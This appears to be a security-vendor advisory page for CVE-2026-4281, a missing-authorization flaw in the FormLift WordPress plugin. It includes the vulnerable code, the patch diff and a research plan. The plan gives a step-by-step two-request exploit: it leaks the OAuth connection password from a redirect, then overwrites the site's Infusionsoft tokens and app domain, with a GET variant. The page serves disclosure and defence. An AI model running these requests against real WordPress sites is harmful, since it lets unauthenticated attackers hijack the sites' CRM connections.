CVE-2026-4281

FormLift for Infusionsoft Web Forms <= 7.5.21 - Missing Authorization to Unauthenticated Infusionsoft Connection Hijack via OAuth Connection Flow

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
7.5.22
Patched in
1d
Time to patch

Description

The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 7.5.21. This is due to missing capability checks on the connect() and listen_for_tokens() methods of the FormLift_Infusionsoft_Manager class, both of which are hooked to 'plugins_loaded' and execute on every page load. The connect() function generates an OAuth connection password and leaks it in the redirect Location header without verifying the requesting user is authenticated or authorized. The listen_for_tokens() function only validates the temporary password but performs no user authentication before calling update_option() to save attacker-controlled OAuth tokens and app domain. This makes it possible for unauthenticated attackers to hijack the site's Infusionsoft connection by first triggering the OAuth flow to obtain the temporary password, then using that password to set arbitrary OAuth tokens and app domain via update_option(), effectively redirecting the plugin's API communication to an attacker-controlled server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.5.21
PublishedMarch 25, 2026
Last updatedMarch 26, 2026
Affected pluginformlift

What Changed in the Fix

Changes introduced in v7.5.22

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack) ## 1. Vulnerability Summary The **FormLift for Infusionsoft Web Forms** plugin (<= 7.5.21) contains a critical missing authorization vulnerability in the `FormLift_Infusionsoft_Manager` class. Specifically, the methods …

Show full research plan

Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack)

1. Vulnerability Summary

The FormLift for Infusionsoft Web Forms plugin (<= 7.5.21) contains a critical missing authorization vulnerability in the FormLift_Infusionsoft_Manager class. Specifically, the methods connect() and listen_for_tokens() are hooked to plugins_loaded and execute on every page load without verifying user capabilities or using nonces.

An unauthenticated attacker can trigger the OAuth connection flow to generate and leak a temporary "connection password" (OauthClientPass). The attacker can then use this password to invoke the token listener, allowing them to overwrite the site's Infusionsoft API credentials (appDomain, access_token, refresh_token) with values pointing to an attacker-controlled Infusionsoft application or a malicious proxy.

2. Attack Vector Analysis

  • Endpoints: Any frontend or backend URL (since the vulnerable functions are hooked to plugins_loaded). Typically, the site root / or wp-admin/admin-ajax.php.
  • Preconditions: The plugin must be active. No specific settings or existing connection is required.
  • Vulnerable Parameters:
    • Trigger 1 (Password Generation): formlift_form_settings[activate_OAuth] (POST)
    • Trigger 2 (Token Update): OauthClientPass, appDomain, access_token, refresh_token, expires_in (GET/POST/REQUEST)
  • Authentication: Unauthenticated (No user required).

3. Code Flow

  1. Entry Point (Listener Registration):
    In modules/api/infusionsoft-manager.php, hooks are registered:

    add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'listen_for_tokens' ) );
    add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'connect' ) );
    
  2. Triggering Password Leak (connect()):

    • The connect() method checks for isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ). FORMLIFT_SETTINGS is defined as 'formlift_form_settings'.
    • It generates a password: $pass = wp_generate_password( 8, false, false );.
    • It stores it in a transient: set_transient( 'formlift_auth_pass', $pass, 60 * 5 );.
    • It redirects the user: wp_redirect( static::AUTH_URI . '?' . $query );.
    • The $query includes 'OauthClientPass' => $pass. Because there is no current_user_can() check, any visitor can trigger this and see the password in the Location header.
  3. Exploiting Hijack (listen_for_tokens()):

    • The listen_for_tokens() method checks for isset( $_REQUEST['OauthClientPass'] ).
    • It verifies the provided password against the transient: if ( $pass != $_REQUEST['OauthClientPass'] ).
    • If valid, it extracts appDomain, access_token, refresh_token, and expires_in from $_REQUEST.
    • It calls update_option( 'Oauth_App_Domain', $app_domain );.
    • It calls static::$app->updateAndSaveTokens(...), which saves the tokens to the database.

4. Nonce Acquisition Strategy

No nonces are required.
The functions connect() and listen_for_tokens() do not utilize check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). The only "security" is the temporary password stored in a transient, which the attacker can obtain by triggering the first stage of the vulnerability.

5. Exploitation Strategy

Step 1: Obtain the temporary OauthClientPass

Send a POST request to the WordPress site. We must prevent the http_request tool from following redirects so we can capture the Location header.

  • Request Type: POST
  • URL: http://localhost:8080/
  • Body: formlift_form_settings[activate_OAuth]=1
  • Content-Type: application/x-www-form-urlencoded
  • Expected Response: 302 Redirect.
  • Extraction: Parse the Location header for the OauthClientPass parameter value.

Step 2: Inject Malicious Connection Tokens

Use the extracted password to overwrite the plugin's Infusionsoft settings.

  • Request Type: POST (or GET)
  • URL: http://localhost:8080/
  • Body Parameters:
    • OauthClientPass: [EXTRACTED_PASSWORD]
    • appDomain: attacker-app.infusionsoft.com
    • access_token: MALICIOUS_ACCESS_TOKEN_12345
    • refresh_token: MALICIOUS_REFRESH_TOKEN_67890
    • expires_in: 3600
  • Content-Type: application/x-www-form-urlencoded
  • Expected Response: 302 Redirect (to the FormLift settings page).

6. Test Data Setup

  1. Install and activate the FormLift plugin version 7.5.21.
  2. No further configuration is necessary as the attack is unauthenticated and works on default installations.

7. Expected Results

  • After Step 1, the response's Location header will contain a URL like https://formlift.net/oauth/?redirectUri=...&OauthConnect=true&OauthClientPass=ABCDEFGH.
  • After Step 2, the WordPress database will be updated with the attacker's appDomain and tokens.

8. Verification Steps

Use WP-CLI to inspect the modified options:

  1. Check the App Domain:
    wp option get Oauth_App_Domain
    Expected: attacker-app.infusionsoft.com
  2. Check the Connection Status:
    wp option get oauth_last_status
    Expected: A string containing "Authorized token at [DATE] for app attacker-app.infusionsoft.com"
  3. Check if Transient is Cleared:
    wp transient get formlift_auth_pass
    Expected: Error or empty (indicating the exploit successfully called delete_transient).

9. Alternative Approaches

If POST is blocked for some reason on Step 1, note that connect() specifically checks $_POST, so POST is required for the initial leak. However, listen_for_tokens() uses $_REQUEST, so Step 2 can be performed via a simple GET request:
GET /?OauthClientPass=PASS&appDomain=...&access_token=...&refresh_token=...&expires_in=3600

Research Findings
Static analysis — not yet PoC-verified

Summary

The FormLift for Infusionsoft Web Forms plugin up to version 7.5.21 lacks authorization checks and nonce verification on its OAuth connection functions. This allows unauthenticated attackers to initiate an OAuth flow, capture a leaked temporary password from a redirect, and then use that password to overwrite the site's Infusionsoft API credentials and application domain.

Vulnerable Code

// modules/api/infusionsoft-manager.php:20
	public static function connect() {
		if ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) {
			$pass = wp_generate_password( 8, false, false );

			set_transient( 'formlift_auth_pass', $pass, 60 * 5 );

			$params = array(
				'redirectUri'     => admin_url( 'edit.php?post_type=infusion_form&page=formlift_settings_page' ),
				'OauthConnect'    => true,
				'OauthClientPass' => $pass
			);

			$query = http_build_query( $params );

			wp_redirect( static::AUTH_URI . '?' . $query ); //Send To OAuth Page...
			die();
		}
	}

---

// modules/api/infusionsoft-manager.php:45
	public static function listen_for_tokens() {
		if ( isset( $_REQUEST['OauthClientPass'] ) ) {

			$pass = get_transient( 'formlift_auth_pass' );

			if ( empty( $pass ) ) {
				wp_die( 'Could not verify server authorization for ' . site_url() . '. Please Try Again.' );
			} elseif ( $pass != $_REQUEST['OauthClientPass'] ) {
				wp_die( 'Incorrect password. Please try again...' );
			}

			$app_domain    = sanitize_text_field( $_REQUEST['appDomain'] );
			$access_token  = sanitize_text_field( $_REQUEST['access_token'] );
			$refresh_token = sanitize_text_field( $_REQUEST['refresh_token'] );
			$expires_in    = sanitize_text_field( $_REQUEST['expires_in'] );

			static::$app = new FormLift_App( $app_domain );
			static::$app->updateAndSaveTokens( $access_token, $refresh_token, $expires_in );

			update_option( 'Oauth_App_Domain', $app_domain );
            // ...

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.21/FormLift.php /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.22/FormLift.php
--- /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.21/FormLift.php	2025-06-27 16:28:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.22/FormLift.php	2026-03-24 16:50:44.000000000 +0000
@@ -2,7 +2,7 @@
 /*
  * Plugin Name: FormLift
  * Description: The Ultimate Web Form Solution for WordPress and Infusionsoft. Style your web forms, create personalized pages, and create epic automation with them too.
- * Version: 7.5.21
+ * Version: 7.5.22
  * Author: Adrian Tobey
  * Plugin URI: https://formlift.net
  * Author URI: https://formlift.net/blog
@@ -15,7 +15,7 @@
 	exit;
 }
 
-define( 'FORMLIFT_VERSION', '7.5.21' );
+define( 'FORMLIFT_VERSION', '7.5.22' );
 define( 'FORMLIFT_CSS_VERSION', '7.5.17' );
 define( 'FORMLIFT_JS_VERSION', '7.5.14' );
 define( 'FORMLIFT_VERSION_KEY', 'formlift_db_version' );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.21/modules/api/infusionsoft-manager.php /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.22/modules/api/infusionsoft-manager.php
--- /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.21/modules/api/infusionsoft-manager.php	2021-04-01 20:25:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/formlift/7.5.22/modules/api/infusionsoft-manager.php	2026-03-24 16:50:44.000000000 +0000
@@ -18,7 +18,18 @@
 	}
 
 	public static function connect() {
+
 		if ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) {
+
+			if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
+				wp_die( 'You do not have permission to perform this action.' );
+			}
+
+			// nonce located in settings-page.php
+			if ( ! isset( $_POST['formlift_options'] ) || ! wp_verify_nonce( $_POST['formlift_options'], 'update' ) ) {
+				wp_die( 'Nonce verification failed.' );
+			}
+
 			$pass = wp_generate_password( 8, false, false );
 
 			set_transient( 'formlift_auth_pass', $pass, 60 * 5 );
@@ -45,6 +56,10 @@
 	public static function listen_for_tokens() {
 		if ( isset( $_REQUEST['OauthClientPass'] ) ) {
 
+			if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
+				wp_die( 'Unauthorized access.' );
+			}
+
 			$pass = get_transient( 'formlift_auth_pass' );
 
 			if ( empty( $pass ) ) {

Exploit Outline

An unauthenticated attacker can hijack the Infusionsoft connection using two steps. First, the attacker sends a POST request to any site endpoint with 'formlift_form_settings[activate_OAuth]=1'. The connect() method executes on 'plugins_loaded', generates a transient-based 'OauthClientPass', and redirects the visitor to an external URL containing this password in the query string. By capturing the 'Location' header, the attacker obtains the password. Second, the attacker sends a request to the site containing 'OauthClientPass', 'appDomain', 'access_token', and 'refresh_token'. Because listen_for_tokens() also lacks authentication checks and only verifies the password, it will update the site's Infusionsoft configuration with the attacker's malicious credentials and domain.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.